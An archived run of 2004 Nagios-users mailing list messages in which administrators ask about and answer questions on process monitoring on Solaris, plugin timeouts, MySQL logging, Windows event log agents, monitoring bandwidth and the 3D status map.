/opt/bea/jdk131_08/bin/../bin/sparc/native_threads/java -ms384m -mx384m -Xrs -XX:MaxPermSize=128M -XX:MaxNewSize=128M -XX:SurvivorRatio=8 -Xrs -Dcommerce.properties=/opt/bea/weblogic7/portal/weblogiccommerce.properties -Dejbruntime.appserver=weblogic61 -Dejbruntime.config=weblogicportal40 -Dejbruntime.database=oracle817thin -Dcom.compoze.home=/opt/ti_apps/portal/educationDomain/lib/ext/compoze -classpath /opt/ti_apps/portal/educationDomain/lib/ext/classes12.zip:/opt/ti_apps/portal/educationDomain/settings:/opt/ti_apps/portal/educationDomain/lib/ext/autonomyClient.jar:/opt/ti_apps/portal/educationDomain/lib/startup/startup.jar:/opt/ti_apps/portal/educationDomain/lib/ext/adc.jar:/opt/ti_apps/portal/educationDomain/lib/ext/Utilities.jar:/opt/ti_apps/portal/educationDomain/lib/ext/struts.jar:/opt/ti_apps/portal/educationDomain/lib/ext/commons-fileupload.jar:/opt/ti_apps/portal/educationDomain/lib/ext/jakarta-regexp-1.2.jar:/opt/ti_apps/portal/educationDomain/lib/ext/log4j-1.2.8.jar:/opt/ti_apps/portal/educationDomain/settings/compoze/license:/opt/ti_apps/portal/educationDomain/lib/ext/oro-2.0.4/oro-2.0.4.jar:/opt/ti_apps/portal/educationDomain/lib/ext/compoze/security.jar:/opt/ti_apps/portal/educationDomain/lib/ext/compoze/csdk.jar:/opt/ti_apps/portal/educationDomain/lib/ext/compoze/j2ee_runtime.jar:/opt/ti_apps/portal/educationDomain/lib/ext/compoze/discussion.jar:/opt/bea/weblogic7/server/lib/weblogic.jar:/opt/bea/weblogic7/server/lib/webservices.jar:/opt/bea/weblogic7/portal/lib/p13n_system.jar:/opt/bea/weblogic7/portal/lib/ext/jdom.jar:/opt/bea/weblogic7/portal/lib/ext/HTTPClient.jar:/opt/bea/weblogic7/portal/lib/ext/wlcsparsers.jar:/opt/bea/weblogic7/portal/lib/commerce_system.jar:/opt/bea/weblogic7/portal/lib/campaign_system.jar:/opt/bea/weblogic7/server/lib/jdom.jar:/opt/bea/weblogic7/portal/lib/portal_system.jar:/opt/bea/jdk131_08/lib/tools.jar:/opt/bea:/opt/bea/weblogic7/portal/lib/commerce_system.jar:/opt/bea/weblogic7/portal/lib/campaign_system.jar -Dweblogic.Name=portal_ms1 -Dbea.home=/opt/bea -Dweblogic.management.username= -Dweblogic.management.password= -Dweblogic.management.server=http://ncapp10.eps.ti.com:9501 -Dweblogic.ProductionModeEnabled=true -Djava.security.policy=/opt/bea/weblogic7/server/lib/weblogic.policy weblogic.Server I believe that the problem is the "ps" command that is called only show partial process strings. How can I either: 1. get the check_procs command to use "/usr/ucb/ps auxww" instead of "/usr/bin/ps"? 2. find some other way to monitor processes by name? Thanks for any assistance. -Jeff Humes ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From tkraft8 at comcast.net Tue Mar 16 18:06:02 2004 From: tkraft8 at comcast.net (Tom Kraft) Date: Tue, 16 Mar 2004 11:06:02 -0600 Subject: NAWUI Message-ID: Does anyone have any instructions for NAWUI. Having problems importing or accessing configs with it. tom -------------- next part -------------- An HTML attachment was scrubbed... URL: From alevitt at navis.com Tue Mar 16 18:19:07 2004 From: alevitt at navis.com (Aaron Levitt) Date: Tue, 16 Mar 2004 09:19:07 -0800 Subject: False Alarms? Message-ID: <7473201406D1FE4CBAD4096D6BD1E921F277CD@hqexch01.hq.navis.net> Greets everyone- I have recently upgraded to nagios 1.1 from an older release of netsaint. Since the upgrade, we have been getting some random timeouts, with an average of 1 or 2 a day. All the information I really have to go on, is the output from nagios. The mail contains "Info: CRITICAL - Plugin timed out after 10 seconds". The logs have the same information, but nothing helpful. I'm not sure where it's getting the 10 seconds from. This is the template I am using for my hosts: define host{ name generic-host check_command check-host-alive max_check_attempts 3 process_perf_data 1 retain_status_information 1 retain_nonstatus_information 1 flap_detection_enabled 1 notifications_enabled 1 notification_interval 15 notification_period 24x7 notification_options d,u,r register 0 ; not registering template } And this is the template for my services: define service{ name generic-service ; name of template active_checks_enabled 1 max_check_attempts 3 event_handler_enabled 1 flap_detection_enabled 1 process_perf_data 1 normal_check_interval 3 retry_check_interval 3 check_period 24x7 notification_interval 15 notification_period 24x7 notification_options w,u,c,r notifications_enabled 1 contact_groups sysadmins register 0 ; Don't register template } Any ideas how to stop these false alarms? Thanks in advance! -=Aaron ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From 010465845 at stu.vtc.edu.hk Tue Mar 16 19:13:14 2004 From: 010465845 at stu.vtc.edu.hk (LEUNG Wing Yee) Date: Wed, 17 Mar 2004 02:13:14 +0800 Subject: Storing data in MySQL but still have logging Message-ID: <2cd0e2c134.2c1342cd0e@vtc.edu.hk> Dear All, Hi! As I see in the documentation, we can make use of MySQL database to store information. But then the log files (e.g.status.log) will not be created anymore. My computer is running Nagios already, the data is stored in Round Robin Databases. Now I want to save each piece of data in both the RRD and MySQL database. Can I also put the data in the MySQL DB without stopping the logging? Is it possible to achieve this using event handler? I am new to Nagios, please help! Thanks. Regards, Grace Leung ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From agrajag at dragaera.net Tue Mar 16 18:58:07 2004 From: agrajag at dragaera.net (Jag) Date: Tue, 16 Mar 2004 12:58:07 -0500 Subject: Monitoring Long process names on Solaris In-Reply-To: <40572EEE.2050203@bofus.org> References: <40572EEE.2050203@bofus.org> Message-ID: <1079459887.4354.34.camel@pel> On Tue, 2004-03-16 at 11:44, Jeffery P. Humes wrote: > How can I either: > 1. get the check_procs command to use "/usr/ucb/ps auxww" instead of > "/usr/bin/ps"? A quick peak at the nagios-plugins-1.3.1 tarball shows that the ps command for check_procs is actually determined by the configure script. So, if you wanted to, you could go into the check_procs.c and manually #define PS_COMMAND after the includes, however it looks like there's also some #define's for formatting that you'd want to make sure you get right as well. ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From darrenh at gallagher.co.nz Tue Mar 16 20:44:03 2004 From: darrenh at gallagher.co.nz (Darren Harrison) Date: Wed, 17 Mar 2004 08:44:03 +1300 Subject: Nagios-users digest, Vol 1 #1944 - 8 msgs In-Reply-To: References: Message-ID: Hi, I have successfully started using check_win_eventlog. It's an agent similar to nsclient, it runs on the Windows boxes and communicates with a nagios check command. http://naplax.sourceforge.net/check_win_eventlog.html Darren. nagios-users-admin at lists.sourceforge.net wrote on 16/03/2004 05:20:23 p.m.: > Date: Mon, 15 Mar 2004 15:04:21 -0500 > From: "Bruce Markey" > To: > Subject: [Nagios-users] Event viewer events > > I am running the nsclient and noticed that there is supposedly going to > be another client that can send the event viewer events to a nagios > machine. That client does not seem to be up yet. Has anyone found > another way of doing this? > =20 > Thanks > Bruce Markey > =20 > Subject: RE: [Nagios-users] Event viewer events > Date: Mon, 15 Mar 2004 15:46:41 -0500 > From: "Jack Doyle" > To: > > > I was looking for the same type of app just a little while ago. Funny > you ask... > ----- > John N. Doyle > Systems Operations Specialist > Lewis-Gale Clinic Information Systems > =20 > 540.772.3669 > =20 > >PGP Key Available: http://68.106.83.67:8082/pgp.txt ########################################################################### This e-mail is confidential and may contain information subject to legal privilege. If you are not the intended recipient please advise us of our error by return e-mail then delete this e-mail and any attached files. You may not copy, disclose or use the contents in any way. The views expressed in this e-mail may not be those of Gallagher Group Ltd or subsidiary companies thereof. ########################################################################### -------------- next part -------------- An HTML attachment was scrubbed... URL: From jhmartin at toger.us Tue Mar 16 19:39:04 2004 From: jhmartin at toger.us (Jason Martin) Date: Tue, 16 Mar 2004 10:39:04 -0800 (PST) Subject: Storing data in MySQL but still have logging In-Reply-To: <2cd0e2c134.2c1342cd0e@vtc.edu.hk> References: <2cd0e2c134.2c1342cd0e@vtc.edu.hk> Message-ID: -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 I'm not sure what you mean by RRD's. Nothing native to nagios uses them, so switching to mysql shouldn't change that. status.log is just a snapshot of the current status. If you are looking for a running-commentary you should probably use the global event handler or the OCSP. Have those feed into your RRD system. - -Jason Martin On Wed, 17 Mar 2004, LEUNG Wing Yee wrote: > Dear All, > Hi! > As I see in the documentation, we can make use of MySQL database to store information. But then the log files (e.g.status.log) will not be created anymore. My computer is running Nagios already, the data is stored in Round Robin Databases. Now I want to save each piece of data in both the RRD and MySQL database. Can I also put the data in the MySQL DB without stopping the logging? Is it possible to achieve this using event handler? > I am new to Nagios, please help! Thanks. > > Regards, > Grace Leung > > > > ------------------------------------------------------- > This SF.Net email is sponsored by: IBM Linux Tutorials > Free Linux tutorial presented by Daniel Robbins, President and CEO of > GenToo technologies. Learn everything from fundamentals to system > administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click > _______________________________________________ > Nagios-users mailing list > Nagios-users at lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/nagios-users > ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. > ::: Messages without supporting info will risk being sent to /dev/null > -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.3.5 (GNU/Linux) Comment: pgpenvelope 2.10.2 - http://pgpenvelope.sourceforge.net/ iD8DBQFAV0nal2ODWuqVSBMRAh0/AJwNQSi7d2HDFL4iqb2M5WwDTGiMNwCeIuqN lWhnSiPy4vUqlrYmKU8TYFw= =xJRR -----END PGP SIGNATURE----- ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From charles at bueche.ch Tue Mar 16 22:24:21 2004 From: charles at bueche.ch (Charles Bueche) Date: Tue, 16 Mar 2004 22:24:21 +0100 Subject: Monitoring Long process names on Solaris In-Reply-To: <40572EEE.2050203@bofus.org> References: <40572EEE.2050203@bofus.org> Message-ID: <20040316222421.0cec33e2@bluez.bueche.ch> Hi, On Solaris, the process table is broken, the names are shortened. The only way to get the full command names is to parse /proc/PIDs. Luckily, there is another ps version that does this well : /usr/ucb/ps auxwww Now, be sure to avoid calling this command too much, it takes a lot of time and is heavy on the system. You will need to adjust your plugin accordingly. Regs, Charles On Tue, 16 Mar 2004 10:44:30 -0600 "Jeffery P. Humes" wrote: > I am pretty new to the nagios scene. I am trying to monitor long named > processes on Solaris 8. > > I can monitor processes with the "check_procs" plugin: > > ------ > check_procs -c 1:1 -C > "/opt/bea/jdk131_08/bin/../bin/sparc/native_threads/java" -a -ms384m > > OK - 1 processes running with command name > /opt/bea/jdk131_08/bin/../bin/sparc/native_threads/java, args -ms384m > ------ > > This works fine. > > However, I run into a problem with processes that have very long names > and the name I want to watch is near the end of the string. > > example: > bea 28402 0.2 20.6581704102648 ? S Mar 03 1050:18 > /opt/bea/jdk131_08/bin/../bin/sparc/native_threads/java -ms384m > -mx384m -Xrs -XX:MaxPermSize=128M -XX:MaxNewSize=128M > -XX:SurvivorRatio=8 -Xrs > -Dcommerce.properties=/opt/bea/weblogic7/portal/weblogiccommerce.prop > erties -Dejbruntime.appserver=weblogic61 > -Dejbruntime.config=weblogicportal40 > -Dejbruntime.database=oracle817thin > -Dcom.compoze.home=/opt/ti_apps/portal/educationDomain/lib/ext/compoze > -classpath > /opt/ti_apps/portal/educationDomain/lib/ext/classes12.zip:/opt/ti_app > s/portal/educationDomain/settings:/opt/ti_apps/portal/educationDomain > /lib/ext/autonomyClient.jar:/opt/ti_apps/portal/educationDomain/lib/s > tartup/startup.jar:/opt/ti_apps/portal/educationDomain/lib/ext/adc.ja > r:/opt/ti_apps/portal/educationDomain/lib/ext/Utilities.jar:/opt/ti_a > pps/portal/educationDomain/lib/ext/struts.jar:/opt/ti_apps/portal/edu > cationDomain/lib/ext/commons-fileupload.jar:/opt/ti_apps/portal/educa > tionDomain/lib/ext/jakarta-regexp-1.2.jar:/opt/ti_apps/portal/educati > onDomain/lib/ext/log4j-1.2.8.jar:/opt/ti_apps/portal/educationDomain/ > settings/compoze/license:/opt/ti_apps/portal/educationDomain/lib/ext/ > oro-2.0.4/oro-2.0.4.jar:/opt/ti_apps/portal/educationDomain/lib/ext/c > ompoze/security.jar:/opt/ti_apps/portal/educationDomain/lib/ext/compo > ze/csdk.jar:/opt/ti_apps/portal/educationDomain/lib/ext/compoze/j2ee_ > runtime.jar:/opt/ti_apps/portal/educationDomain/lib/ext/compoze/discu > ssion.jar:/opt/bea/weblogic7/server/lib/weblogic.jar:/opt/bea/weblogi > c7/server/lib/webservices.jar:/opt/bea/weblogic7/portal/lib/p13n_syst > em.jar:/opt/bea/weblogic7/portal/lib/ext/jdom.jar:/opt/bea/weblogic7/ > portal/lib/ext/HTTPClient.jar:/opt/bea/weblogic7/portal/lib/ext/wlcsp > arsers.jar:/opt/bea/weblogic7/portal/lib/commerce_system.jar:/opt/bea > /weblogic7/portal/lib/campaign_system.jar:/opt/bea/weblogic7/server/l > ib/jdom.jar:/opt/bea/weblogic7/portal/lib/portal_system.jar:/opt/bea/ > jdk131_08/lib/tools.jar:/opt/bea:/opt/bea/weblogic7/portal/lib/commer > ce_system.jar:/opt/bea/weblogic7/portal/lib/campaign_system.jar > -Dweblogic.Name=portal_ms1 -Dbea.home=/opt/bea > -Dweblogic.management.username= -Dweblogic.management.password= > -Dweblogic.management.server=http://ncapp10.eps.ti.com:9501 > -Dweblogic.ProductionModeEnabled=true > -Djava.security.policy=/opt/bea/weblogic7/server/lib/weblogic.policy > weblogic.Server > > > I believe that the problem is the "ps" command that is called only > show partial process strings. > > How can I either: > 1. get the check_procs command to use "/usr/ucb/ps auxww" instead of > "/usr/bin/ps"? > 2. find some other way to monitor processes by name? > > Thanks for any assistance. > > -Jeff Humes > > > ------------------------------------------------------- > This SF.Net email is sponsored by: IBM Linux Tutorials > Free Linux tutorial presented by Daniel Robbins, President and CEO of > GenToo technologies. Learn everything from fundamentals to system > administration.http://ads.osdn.com/?ad_id70&alloc_id638&op?k > _______________________________________________ > Nagios-users mailing list > Nagios-users at lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/nagios-users > ::: Please include Nagios version, plugin version (-v) and OS when > reporting any issue. ::: Messages without supporting info will risk > being sent to /dev/null -- Charles Bueche sand, snow, wave, wind and net -surfer ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From sghosh at sghosh.org Tue Mar 16 23:52:15 2004 From: sghosh at sghosh.org (Subhendu Ghosh) Date: Tue, 16 Mar 2004 17:52:15 -0500 (EST) Subject: Monitoring Long process names on Solaris In-Reply-To: <20040316222421.0cec33e2@bluez.bueche.ch> References: <20040316222421.0cec33e2@bluez.bueche.ch> Message-ID: If /usr/ucb/bin/ps auxwww uses a lot of resources - would you want to run it every 5 min as a normal plugin? On Tue, 16 Mar 2004, Charles Bueche wrote: > Hi, > > On Solaris, the process table is broken, the names are shortened. The > only way to get the full command names is to parse /proc/PIDs. Luckily, > there is another ps version that does this well : > > /usr/ucb/ps auxwww > > Now, be sure to avoid calling this command too much, it takes a lot of > time and is heavy on the system. > > You will need to adjust your plugin accordingly. > > Regs, > Charles > > On Tue, 16 Mar 2004 10:44:30 -0600 > "Jeffery P. Humes" wrote: > > > I am pretty new to the nagios scene. I am trying to monitor long named > > processes on Solaris 8. > > > > I can monitor processes with the "check_procs" plugin: > > > > ------ > > check_procs -c 1:1 -C > > "/opt/bea/jdk131_08/bin/../bin/sparc/native_threads/java" -a -ms384m > > > > OK - 1 processes running with command name > > /opt/bea/jdk131_08/bin/../bin/sparc/native_threads/java, args -ms384m > > ------ > > > > This works fine. > > > > However, I run into a problem with processes that have very long names > > and the name I want to watch is near the end of the string. > > > > example: > > bea 28402 0.2 20.6581704102648 ? S Mar 03 1050:18 > > /opt/bea/jdk131_08/bin/../bin/sparc/native_threads/java -ms384m > > -mx384m -Xrs -XX:MaxPermSize=128M -XX:MaxNewSize=128M > > -XX:SurvivorRatio=8 -Xrs > > -Dcommerce.properties=/opt/bea/weblogic7/portal/weblogiccommerce.prop > > erties -Dejbruntime.appserver=weblogic61 > > -Dejbruntime.config=weblogicportal40 > > -Dejbruntime.database=oracle817thin > > -Dcom.compoze.home=/opt/ti_apps/portal/educationDomain/lib/ext/compoze > > -classpath > > /opt/ti_apps/portal/educationDomain/lib/ext/classes12.zip:/opt/ti_app > > s/portal/educationDomain/settings:/opt/ti_apps/portal/educationDomain > > /lib/ext/autonomyClient.jar:/opt/ti_apps/portal/educationDomain/lib/s > > tartup/startup.jar:/opt/ti_apps/portal/educationDomain/lib/ext/adc.ja > > r:/opt/ti_apps/portal/educationDomain/lib/ext/Utilities.jar:/opt/ti_a > > pps/portal/educationDomain/lib/ext/struts.jar:/opt/ti_apps/portal/edu > > cationDomain/lib/ext/commons-fileupload.jar:/opt/ti_apps/portal/educa > > tionDomain/lib/ext/jakarta-regexp-1.2.jar:/opt/ti_apps/portal/educati > > onDomain/lib/ext/log4j-1.2.8.jar:/opt/ti_apps/portal/educationDomain/ > > settings/compoze/license:/opt/ti_apps/portal/educationDomain/lib/ext/ > > oro-2.0.4/oro-2.0.4.jar:/opt/ti_apps/portal/educationDomain/lib/ext/c > > ompoze/security.jar:/opt/ti_apps/portal/educationDomain/lib/ext/compo > > ze/csdk.jar:/opt/ti_apps/portal/educationDomain/lib/ext/compoze/j2ee_ > > runtime.jar:/opt/ti_apps/portal/educationDomain/lib/ext/compoze/discu > > ssion.jar:/opt/bea/weblogic7/server/lib/weblogic.jar:/opt/bea/weblogi > > c7/server/lib/webservices.jar:/opt/bea/weblogic7/portal/lib/p13n_syst > > em.jar:/opt/bea/weblogic7/portal/lib/ext/jdom.jar:/opt/bea/weblogic7/ > > portal/lib/ext/HTTPClient.jar:/opt/bea/weblogic7/portal/lib/ext/wlcsp > > arsers.jar:/opt/bea/weblogic7/portal/lib/commerce_system.jar:/opt/bea > > /weblogic7/portal/lib/campaign_system.jar:/opt/bea/weblogic7/server/l > > ib/jdom.jar:/opt/bea/weblogic7/portal/lib/portal_system.jar:/opt/bea/ > > jdk131_08/lib/tools.jar:/opt/bea:/opt/bea/weblogic7/portal/lib/commer > > ce_system.jar:/opt/bea/weblogic7/portal/lib/campaign_system.jar > > -Dweblogic.Name=portal_ms1 -Dbea.home=/opt/bea > > -Dweblogic.management.username= -Dweblogic.management.password= > > -Dweblogic.management.server=http://ncapp10.eps.ti.com:9501 > > -Dweblogic.ProductionModeEnabled=true > > -Djava.security.policy=/opt/bea/weblogic7/server/lib/weblogic.policy > > weblogic.Server > > > > > > I believe that the problem is the "ps" command that is called only > > show partial process strings. > > > > How can I either: > > 1. get the check_procs command to use "/usr/ucb/ps auxww" instead of > > "/usr/bin/ps"? > > 2. find some other way to monitor processes by name? > > > > Thanks for any assistance. > > > > -Jeff Humes > > -- ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From jhennessy at mitchamcouncil.sa.gov.au Wed Mar 17 00:26:03 2004 From: jhennessy at mitchamcouncil.sa.gov.au (Justin Hennessy) Date: Wed, 17 Mar 2004 09:56:03 +1030 Subject: Large networks ? Message-ID: Hi all, On this question I was wanting to know how Nagios is with regards to bandwidth. I have alot of customers that I deal with and I was wondering what the bandwidth consumption would be for monitoring remote networks? Also would I conserve bandwidth by only using checks with SNMP? Justni >>> Andrew Barker 16/03/2004 7:29:01 pm >>> I have 3 nagios machines all of which monitor different things, I monitor all my windows servers on one box (68 hosts, 350 services). The other 2 machines have 2 nagios installations on (they are a failover pair), which monitor different things for historical reasons, they monitor about 60 hosts and 300 services each, they run on a pentium III 700 and check most services every 5 or 10 minutes, the load rarely gets above about 0.30 despite the fact they all have web severs as well. (actually I suspect the load would rarely gets above 0.05 but they run X so they can give a live display of the status in the server room) Hope this is the sort of size you had in mind, I would be quite happy running all of the host monitoring under one installation (about 180 hosts and 1000 services) on my PIII Andy On Mon, 2004-03-15 at 18:04, nadine.vandois at bull.net wrote: > Hi, > > I have installed Nagios on small networks, and now, I would like to get > some idea on how many servers (servers, routers) and services, Nagios can > monitor. > And, in this case, which configuration is required, and what are the > performances. > > May someone give some information on this subject ? > > Has someone got experience by monitoring large networks ? > > > Any information you can give is most welcome. > Thanks in advance for your help. > > > Nadine VANDOIS > > > > > > > ------------------------------------------------------- > This SF.Net email is sponsored by: IBM Linux Tutorials > Free Linux tutorial presented by Daniel Robbins, President and CEO of > GenToo technologies. Learn everything from fundamentals to system > administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click > _______________________________________________ > Nagios-users mailing list > Nagios-users at lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/nagios-users > ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. > ::: Messages without supporting info will risk being sent to /dev/null ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From sghosh at sghosh.org Wed Mar 17 01:25:39 2004 From: sghosh at sghosh.org (Subhendu Ghosh) Date: Tue, 16 Mar 2004 19:25:39 -0500 (EST) Subject: Large networks ? In-Reply-To: References: Message-ID: You can probably assume around 400bytes payload for remote plugins (executed under NRPE, check_by_ssh, etc) - per service, per try. SNMP plugins and others that do network based queries like check_http will generate a bit more traffic that is query dependent. You will not necessary save bandwidth by using SNMP. It is just another method getting information... -sg On Wed, 17 Mar 2004, Justin Hennessy wrote: > Hi all, > > On this question I was wanting to know how Nagios is with regards to > bandwidth. I have alot of customers that I deal with and I was wondering > what the bandwidth consumption would be for monitoring remote networks? > > Also would I conserve bandwidth by only using checks with SNMP? > > Justni > > >>> Andrew Barker 16/03/2004 7:29:01 > pm >>> > I have 3 nagios machines all of which monitor different things, I > monitor all my windows servers on one box (68 hosts, 350 services). > The other 2 machines have 2 nagios installations on (they are a > failover > pair), which monitor different things for historical reasons, they > monitor about 60 hosts and 300 services each, they run on a pentium > III > 700 and check most services every 5 or 10 minutes, the load rarely > gets > above about 0.30 despite the fact they all have web severs as well. > (actually I suspect the load would rarely gets above 0.05 but they run > X > so they can give a live display of the status in the server room) > Hope this is the sort of size you had in mind, I would be quite happy > running all of the host monitoring under one installation (about 180 > hosts and 1000 services) on my PIII > > Andy > > On Mon, 2004-03-15 at 18:04, nadine.vandois at bull.net wrote: > > Hi, > > > > I have installed Nagios on small networks, and now, I would like to > get > > some idea on how many servers (servers, routers) and services, Nagios > can > > monitor. > > And, in this case, which configuration is required, and what are the > > performances. > > > > May someone give some information on this subject ? > > > > Has someone got experience by monitoring large networks ? > > > > > > Any information you can give is most welcome. > > Thanks in advance for your help. > > > > > > Nadine VANDOIS > > > > > > > > > > > > > > ------------------------------------------------------- > > This SF.Net email is sponsored by: IBM Linux Tutorials > > Free Linux tutorial presented by Daniel Robbins, President and CEO > of > > GenToo technologies. Learn everything from fundamentals to system > > > administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click > > _______________________________________________ > > Nagios-users mailing list > > Nagios-users at lists.sourceforge.net > > https://lists.sourceforge.net/lists/listinfo/nagios-users > > ::: Please include Nagios version, plugin version (-v) and OS when > reporting any issue. > > ::: Messages without supporting info will risk being sent to > /dev/null > > > > ------------------------------------------------------- > This SF.Net email is sponsored by: IBM Linux Tutorials > Free Linux tutorial presented by Daniel Robbins, President and CEO of > GenToo technologies. Learn everything from fundamentals to system > administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click > _______________________________________________ > Nagios-users mailing list > Nagios-users at lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/nagios-users > ::: Please include Nagios version, plugin version (-v) and OS when > reporting any issue. > ::: Messages without supporting info will risk being sent to /dev/null > > > ------------------------------------------------------- > This SF.Net email is sponsored by: IBM Linux Tutorials > Free Linux tutorial presented by Daniel Robbins, President and CEO of > GenToo technologies. Learn everything from fundamentals to system > administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click > _______________________________________________ > Nagios-users mailing list > Nagios-users at lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/nagios-users > ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. > ::: Messages without supporting info will risk being sent to /dev/null > -- ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From aj.mckee at nmtbmedia.com Wed Mar 17 02:22:06 2004 From: aj.mckee at nmtbmedia.com (AJ McKee) Date: Wed, 17 Mar 2004 01:22:06 -0000 Subject: False Alarms? In-Reply-To: <7473201406D1FE4CBAD4096D6BD1E921F277CD@hqexch01.hq.navis.net> References: <7473201406D1FE4CBAD4096D6BD1E921F277CD@hqexch01.hq.navis.net> Message-ID: <011d01c40bbe$435dd090$cbe8fea9@core> Nagios is problally getting its time out from the mani agios config or something like that, don't quote me, I am no expert. However we used to get a lot of false positives as well, and we over came it by setting up a distributed monitor. But yes, in may experience especially when using nrpe, the plugin does tend to time out with your error on a regular basis. AJ ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From ZalafR at Leadingedgegroup.com.au Wed Mar 17 03:52:24 2004 From: ZalafR at Leadingedgegroup.com.au (Rabbie Zalaf) Date: Wed, 17 Mar 2004 13:52:24 +1100 Subject: 3d status map Message-ID: <5237E8DD31703E4B8F18DE416229C8C0C28219@legsydms01.leadingedgegroup.com.au> Hi All, Why is it that when I click on 3D status map, my browser tries to download a file named statuswrl.. I have scatuswrl.cgi and my httpd.conf has a scriptalias to that folder... Any help would be greately appreciated. Thanks. Kind Regards,Rabbie Zalaf Network Consultant Leading Edge Internet 02 9497 4024 http://www.leadingedgeinternet.net.au -----BEGIN GEEK CODE BLOCK----- VERSION: 3.1 GIT d++ s:>s-:- a22 C++++ L U+++ P+ L+++>$L+++++ E--- W+++ w-- 